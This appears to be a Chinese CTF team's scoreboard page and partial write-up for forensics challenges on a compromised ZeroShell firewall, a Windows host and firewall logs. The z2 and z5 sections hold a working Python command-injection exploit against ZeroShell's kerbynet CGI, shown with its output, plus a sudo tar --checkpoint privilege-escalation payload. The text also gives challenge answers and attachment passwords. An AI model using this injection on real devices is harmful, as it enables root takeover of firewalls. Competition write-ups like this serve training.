



[排行榜](#) > [参赛信息](#)

凌晨两点半

第220名
排名

1040
总分

威胁检测与网络流量分析
强项

40
解题数

0
一血数量

参赛战绩

| 序号 | 选手名称 | 角色 | 强项 | 解题数 | 一血数量 | 得分 |
|----|------|----|-------------|-----|------|-----|
| 1 | 汤同学 | 队长 | 逆向工程 | 2 | 0 | 100 |
| 2 | 王同学 | 队员 | 安全知识 | 26 | 0 | 300 |
| 3 | 尼同学 | 队员 | 威胁检测与网络流量分析 | 5 | 0 | 250 |
| 4 | 段同学 | 队员 | 威胁检测与网络流量分析 | 7 | 0 | 390 |

能力雷达

[比赛说明](#)[比赛关卡](#)[WEBCTF 排行榜](#)

京ICP证150695号 京ICP备15029557号-1 京网文 (2018) 11175-1016号 京公网安备11010802027748号 (京) 字第08313号





题目

z1-6

zeroshell_1

题目分值: 50 我的得分: 50

题目内容:

小路是一名实习生, 接替公司前任网管的工作, 一天发现公司网络出口出现了异常的通信, 现需要通过回溯出口流量对异常点(防火墙)进行定位, 并确定异常的设备。然后进行深度取证检查 (需要获取root权限)。现在需要你从网络攻击数据包中找出漏洞攻击的会话, 分析会话编写exp或数据包重放获取防火墙设备管理员权限, 查找防火墙设备上安装的木马, 然后分析木马外联地址和通信密钥以及木马启动项位置。

1.从数据包中找出攻击者利用漏洞开展攻击的会话 (攻击者执行了一条命令), 写出该会话中设置的flag, 结果提交形式: flag{xxxxxxxx}

(本题附件见于提前下载的加密附件2e9c01da1d333cb8840968689ed3bc57.7z, 解压密码为11b0526b-9cfb-4ac4-8a75-10ad9097b7ce)

Flag: 提交

(本题附件见于提前下载的加密附件2e9c01da1d333cb8840968689ed3bc57.7z, 解压密码为11b0526b-9cfb-4ac4-8a75-10ad9097b7ce)

zeroshell_2



题目分值: 50 我的得分: 50

题目内容:

2.通过漏洞利用获取设备控制权限, 然后查找设备上的flag文件, 提取flag文件内容, 结果提交形式: flag{xxxxxxxxxx}

Flag:

提交

zeroshell_3



题目分值: 50 我的得分: 50

题目内容:

3.找出受控机防火墙设备中驻留木马的外联域名或IP地址, 结果提交形式: flag{xxxx}, 如flag{www.abc.com} 或 flag{16.122.33.44}

zeroshell_4



题目分值: 50 我的得分: 50

题目内容:

4.请写出木马进程执行的本体文件的名称, 结果提交形式: flag{xxxxx}, 仅写文件名不加路径

Flag:

提交

zeroshell_5

题目分值: 100 我的得分: 100

题目内容:
5.请提取驻留的木马本体文件, 通过逆向分析找出木马样本通信使用的加密密钥, 结果提交形式: flag{xxxx}

Flag:

提交

zeroshell_6

题目分值: 50 我的得分: 0

题目内容:
6.请写出驻留木马的启动项, 注意写出启动文件的完整路径。结果提交形式: flag{xxxx}, 如flag{/a/b/c}

Flag:

提交

w1-6

WinFT_1

题目分值: 50 我的得分: 50

题目内容:
某单位网管日常巡检中发现某员工电脑 (IP: 192.168.116.123) 存在异常外连及数据传输行为, 随后立即对该电脑进行断网处理, 并启动网络安全应急预案进行排查。
1、受控机木马的回连域名及ip及端口是 (示例: flag{xxx.com:127.0.0.1:2333})
(本题附件见于提前下载的加密附件82f13fdc9f7078ba29c4a6dcc65d8859.7z, 解压密码为3604e2f3-585a-4972-a867-3a9cc8d34c1d)

Flag:

提交

(本题附件见于提前下载的加密附件82f13fdc9f7078ba29c4a6dcc65d8859.7z, 解压密码为3604e2f3-585a-4972-a867-3a9cc8d34c1d)

WinFT_2

题目分值: 50 我的得分: 50

题目内容:
2、受控机启动项中隐藏flag是

Flag:

提交

WinFT_3

题目分值: 50 我的得分: 0

题目内容:
3、受控机中驻留的flag是

Flag:

提交

WinFT_4

题目分值: 100 我的得分: 0

题目内容:
4、受控源头隐藏的flag是

Flag:

提交

WinFT_5

题目分值: 50 我的得分: 50

题目内容:
5、分析流量, 获得压缩包中得到答案

Flag:

提交

WinFT_6

题目分值: 50 我的得分: 0

题目内容:
6、通过aes解密得到的flag

Flag:

提交

sc05_1-5

sc05_1

题目分值: 40 我的得分: 40

题目内容:
近日某公司网络管理员老张在对安全设备进行日常巡检过程中发现防火墙设备日志中产生了1条高危告警, 告警IP为134.6.4.12 (简称IP1), 在监测到可疑网络活动后, 老张立刻对磁盘和内存制做了镜像。为考校自己刚收的第一个徒弟李华, 老张循序渐进, 布置了5道问题。假如你是李华, 请你根据提供的防火墙日志、磁盘镜像及内存镜像文件对主机开展网络安全检查分析, 并根据5道问题提示, 计算并提交相应flag。
问题1: IP1地址首次被请求时间是多少? 计算内容如: 2020/05/18_19:35:10 提交格式: flag{32位大写MD5值}
(本题附件见于提前下载的加密附件38c44f100028b56e09dc48522385fa95.7z, 解压密码为 37af3744-53eb-49fd-854a-f6f79bbf5b1c)

Flag:

提交

(本题附件见于提前下载的加密附件38c44f100028b56e09dc48522385fa95.7z, 解压密码为 37af3744-53eb-49fd-854a-f6f79bbf5b1c)

sc05_2

题目分值: 60 我的得分: 0

题目内容:

问题2: IP1地址对应的小马程序MD5是多少? 提交格式: flag(32位大写MD5值)

Flag:

提交

sc05_3

题目分值: 70 我的得分: 0

题目内容:

问题3: 大马程序运行在哪个进程中? 计算内容: PID-进程名, 如123-cmd.exe 提交格式: flag(32位大写MD5值)

Flag:

提交

sc05_4

题目分值: 80 我的得分: 0

题目内容:

问题4: 大马程序备用回连的域名是多少? 计算内容如: www.baidu.com 提交格式: flag(32位大写MD5值)

Flag:

提交

sc05_5

题目分值: 100 我的得分: 0

题目内容:
问题5: 攻击者最终窃取数据的文件中包含的flag值? 提交格式: flag{xxx},注意大小FLAG{xx}要转换为小写flag{xx}

Flag:

提交

MISC

z2

```
9
10 # 漏洞利用的URL, 包含了恶意命令注入
11 poc = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0a' + "ls /"
12
13 # 发送恶意请求
14 req = requests.get(target + poc)
15
16 # 输出响应内容的部分
17 print(req.text[:req.text.rindex("<html>") // 2])
18
19 # http
```

问题 输出 调试控制台 终端 窗口

PS C:\Users\Administrator> & C:/Users/Administrator/AppData/Local/Microsoft/WindowsApps/python3.12.exe c:/Users/Administrator/Desktop/CISCN/CN.py
DB
Database
bin
boot

```
10 # 漏洞利用的URL, 包含了恶意命令注入
11 poc = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0a' + "ls /Database"
12
13 # 发送恶意请求
14 req = requests.get(target + poc)
15
16 # 输出响应内容的部分
17 print(req.text[:req.text.rindex("<html>") // 2])
18
19 # http
```

问题 输出 调试控制台 终端 窗口

root
run
sbin
storage
sys
tmp
usr
var

PS C:\Users\Administrator> & C:/Users/Administrator/AppData/Local/Microsoft/WindowsApps/python3.12.exe c:/Users/Administrator/Desktop/CISCN/CN.py
LOG
etc
flag
httpd.conf
var


```
10 # 漏洞利用的URL, 包含了恶意命令注入
11 poc = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0a' + "cat /Database/flag"
12
13 # 发送恶意请求
14 req = requests.get(target + poc)
15
16 # 输出响应内容的部分
17 print(req.text[:req.text.rindex("<html>") // 2])
18
19 # http
```

问题 输出 调试控制台 终端 窗口

usr
var

PS C:\Users\Administrator> & C:/Users/Administrator/AppData/Local/Microsoft/WindowsApps/python3.12.exe c:/Users/Administrator/Desktop/CISCN/CN.py
LOG
etc
flag
httpd.conf
var

PS C:\Users\Administrator> & C:/Users/Administrator/AppData/Local/Microsoft/WindowsApps/python3.12.exe c:/Users/Administrator/Desktop/CISCN/CN.py
/Database/flag

PS C:\Users\Administrator> & C:/Users/Administrator/AppData/Local/Microsoft/WindowsApps/python3.12.exe c:/Users/Administrator/Desktop/CISCN/CN.py
c6045425-6e6e-41d0-be09-95682a4f65c4

PS C:\Users\Administrator>

z3

```
netstat -tn | grep ESTABLISHED
```

Active Internet connections (w/o servers)

| Proto | Recv-Q | Send-Q | Local Address | Foreign Address | State |
|-------|--------|--------|------------------------|-------------------------|-------------|
| tcp | 0 | 0 | 127.0.0.1:389 | 127.0.0.1:34550 | ESTABLISHED |
| tcp | 0 | 0 | 127.0.0.1:389 | 127.0.0.1:34560 | ESTABLISHED |
| tcp | 0 | 1 | 61.139.2.100:34640 | 202.115.89.103:8080 | SYN_SENT |
| tcp | 0 | 0 | 127.0.0.1:389 | 127.0.0.1:34558 | ESTABLISHED |
| tcp | 0 | 0 | 127.0.0.1:389 | 127.0.0.1:34554 | ESTABLISHED |
| tcp | 0 | 0 | 127.0.0.1:34558 | 127.0.0.1:389 | ESTABLISHED |
| tcp | 0 | 0 | 127.0.0.1:34556 | 127.0.0.1:389 | ESTABLISHED |
| tcp | 0 | 0 | 127.0.0.1:389 | 127.0.0.1:34548 | ESTABLISHED |
| tcp | 0 | 0 | 127.0.0.1:34560 | 127.0.0.1:389 | ESTABLISHED |
| tcp | 0 | 0 | 127.0.0.1:389 | 127.0.0.1:34556 | ESTABLISHED |
| tcp | 0 | 0 | 127.0.0.1:34554 | 127.0.0.1:389 | ESTABLISHED |
| tcp | 0 | 0 | 127.0.0.1:34548 | 127.0.0.1:389 | ESTABLISHED |
| tcp | 0 | 0 | 127.0.0.1:34550 | 127.0.0.1:389 | ESTABLISHED |
| tcp | 0 | 0 | 127.0.0.1:34968 | 127.0.0.1:389 | TIME_WAIT |
| tcp | 0 | 0 | 127.0.0.1:34552 | 127.0.0.1:389 | ESTABLISHED |
| tcp | 0 | 0 | 127.0.0.1:389 | 127.0.0.1:34552 | ESTABLISHED |
| tcp | 0 | 0 | ::ffff:61.139.2.100:80 | ::ffff:61.139.2.1:54895 | ESTABLISHED |
| tcp | 0 | 1 | ::ffff:61.139.2.100:80 | ::ffff:61.139.2.1:54860 | LAST_ACK |

外部连接分析:

- 外部连接:

复制代码

```
tcp          0      1 61.139.2.100:34640      202.115.89.103:8080      SYN_SENT
```

这表示系统正在尝试通过 61.139.2.100 端口 34640 与 202.115.89.103 的端口 8080 建立连接，但还未成功完成连接（状态为 SYN_SENT）。8080 端口通常是 HTTP 服务的常用端口，可能是恶意程序尝试与外部服务器建立通信。

z5

```
import requests
import sys

# 目标URL
target = "http://61.139.2.100/"

# Payload，注入的命令会在服务器上以 root 权限执行
payload = "/etc/sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-
action=exec=id"

# 漏洞利用的URL，包含了恶意命令注入
poc = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0a" +
"cat /tmp/.nginx" + "%0a'"

# 发送恶意请求
req = requests.get(target + poc)

# 输出响应内容的部分
print(req.text[:req.text.rindex("<html>") // 2])

# 提取并保存文件内容
if req.status_code == 200:
    file_content = req.text

    # 保存文件到本地
    with open("nginx_content.txt", "w", encoding="utf-8") as file:
        file.write(file_content)

    print("文件下载完成并保存到 nginx_content.txt")
else:
    print("请求失败，无法下载文件。")
```

```
问题 输出 调试控制台 终端 端口
+0
X4`0`
:=
\? ?\|
(S0
-\0
»
j
文件下载完成并保存到 nginx_content.txt
PS C:\Users\Administrator>
```

将木马文件拖入IDA分析

```

seg000:000... 00000005 C  \\[ ]
seg000:000... 00000005 C  \\[ ]
seg000:000... 00000005 C  \a[ ]
seg000:000... 00000005 C  \a[ ]
seg000:000... 00000005 C  [, ]
seg000:000... 0000003B C  QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQj
seg000:000... 00000005 C  D$0sp
seg000:000... 00000006 C  D$4;D$
seg000:000... 00000005 C  ;L$$t
seg000:000... 0000000E C  02.115.89.103
seg000:000... 00000012 C  11223344qweasdzxc
seg000:000... 00000017 C  ATAL: kernel too old\r\n
seg000:000... 00000028 C  ATAL: cannot determine kernel version\r\n
seg000:000... 00000026 C  nexpected reloc type in static binary
seg000:000... 00000009 C  dev/full
seg000:000... 00000009 C  dev/null
seg000:000... 0000003D C  et_thread_area failed when setting up thread-local storage\r\n
seg000:000... 00000013 C  IIRC FATAL STDERR

```

W2

计划任务中有敏感信息

[illegible]

The screenshot displays the Burp Suite interface. On the left, the 'Recipe' panel is active, showing 'From Base64' as the selected recipe. The 'Alphabet' dropdown is set to 'A-Za-z0-9+/' and the 'Remove non-alphabet chars' checkbox is checked. The 'Input' panel on the right shows a long Base64-encoded string. The 'Output' panel shows the decoded string: 'Nice!X-flag is {AES_encryption_algorithm_is_an_excellent_encryption_algorithm}'. The output is highlighted with a red box.

sc05_1

题目分值: 40 我的得分: 40

题目内容:

近日某公司网络管理员老张在对安全设备进行日常巡检过程中发现防火墙设备日志中产生了1条高危告警，告警IP为134.6.4.12（简称IP1），在监测到可疑网络活动后，老张立刻对磁盘和内存制做了镜像。为考校自己刚收的第一个徒弟李华，老张循序渐进，布置了5道问题。假如你是李华，请你根据提供的防火墙日志、磁盘镜像及内存镜像文件对主机的网络安全检查分析，并根据5道问题提示，计算并提交相应flag。

问题1：IP1地址首次被请求时间是多少？计算内容如：2020/05/18_19:35:10 提交格式：flag{32位大写MD5值}

（本题附件见于提前下载的加密附件38c44f100028b56e09dc48522385fa95.7z，解压密码为 37af3744-53eb-4854a-f6f79bbf5b1c）

Flag:

提交

| | | | | | | | | | | | | | | | | |
|----|---------------------|-----|--------|-----|-------|---------|------------|----------|---------|--|-------------|-----|-------|-------|-----------------|---|
| 24 | 2024/11/09 16:22:35 | 189 | public | TCP | work1 | 网络架构 | 网络基础 HTTP | VAR0/0/1 | Vlan255 | untrust | 192.168.1.0 | 局域网 | 61119 | trust | 120.232.217.159 | 中 |
| 25 | 2024/11/09 16:22:40 | 230 | public | TCP | work1 | 网络架构 | 网络基础 HTTP | VAR0/0/1 | Vlan255 | untrust | 192.168.1.0 | 局域网 | 61119 | trust | 120.232.217.159 | 中 |
| 17 | 2024/11/09 16:22:42 | 4 | public | TCP | work1 | 网络架构 | 网络基础 HTTP | VAR0/0/1 | Vlan255 | untrust | 192.168.1.0 | 局域网 | 62207 | trust | 134.6.4.12 | 高 |
| 18 | 2024/11/09 16:22:42 | 163 | public | TCP | work1 | 网络架构 | 网络基础 HTTP | VAR0/0/1 | Vlan255 | untrust | 192.168.1.0 | 局域网 | 61115 | trust | 120.232.217.159 | 中 |
| 24 | 2024/11/09 16:22:44 | 122 | public | TCP | work1 | 网络架构 | 网络基础 HTTP | VAR0/0/1 | Vlan255 | untrust | 192.168.1.0 | 局域网 | 61119 | trust | 120.232.217.159 | 中 |
| 50 | 2024/11/09 16:22:46 | 126 | public | TCP | work1 | 查找和替换 | | | | <input type="checkbox"/> <input checked="" type="checkbox"/> | 192.168.1.0 | 局域网 | 61113 | trust | 120.232.217.159 | 中 |
| 51 | 2024/11/09 16:22:52 | 245 | public | TCP | work1 | | | | | | 192.168.1.0 | 局域网 | 61113 | trust | 120.232.217.159 | 中 |
| 32 | 2024/11/09 16:22:54 | 168 | public | TCP | work1 | | | | | | 192.168.1.0 | 局域网 | 61112 | trust | 120.232.217.159 | 中 |
| 33 | 2024/11/09 16:22:55 | 19 | public | TCP | work1 | 查找 I | 替换 D | | | | 192.168.1.0 | 局域网 | 61112 | trust | 120.232.217.159 | 中 |
| 54 | 2024/11/09 16:23:00 | 114 | public | TCP | work1 | | | | | | 192.168.1.0 | 局域网 | 44132 | trust | 223.109.224.57 | 中 |
| 56 | 2024/11/09 16:23:04 | 206 | public | TCP | work1 | 查找内容(N) | 134.6.4.12 | 未设定格式 | 格式(M) | | 192.168.1.0 | 局域网 | 61109 | trust | 120.232.217.159 | 中 |
| 57 | 2024/11/09 16:23:07 | 173 | public | TCP | work1 | | | | | | 192.168.1.0 | 局域网 | 61109 | trust | 120.232.217.159 | 中 |

| | A | B | C | D | E | |
|-----|---------------------|-----|--------|-----|-------|-----|
| 446 | 2024/11/09 16:22:40 | 230 | public | TCP | work1 | 网络杂 |
| 447 | 2024/11/09 16:22:42 | 4 | public | TCP | work1 | 网络杂 |
| 448 | 2024/11/09 16:22:42 | 163 | public | TCP | work1 | 网络杂 |
| 449 | 2024/11/09 16:22:44 | 122 | public | TCP | work1 | 网络杂 |
| 450 | 2024/11/09 16:22:48 | 126 | public | TCP | work1 | 网络杂 |
| 451 | 2024/11/09 16:22:52 | 245 | public | TCP | work1 | 网络杂 |

希尔加/解密

摩斯加/解密

DES,AES等对称加密解密

MD5加密

URL加密

JS加/解密

JS混淆加密压缩

ESCAPE加/解密

散列/哈希

RSA加/解密

2024/11/09_16:22:42

加密

清空

32位[大]

01DF5BC2388E287D4CC8F11EA4D31929

32位[小]

01df5bc2388e287d4cc8f11ea4d31929

16位[大]

388E287D4CC8F11E

16位[小]

388e287d4cc8f11e

根据题中给的IP直接找到最早的时间，MD5大写

注意：空格一定要删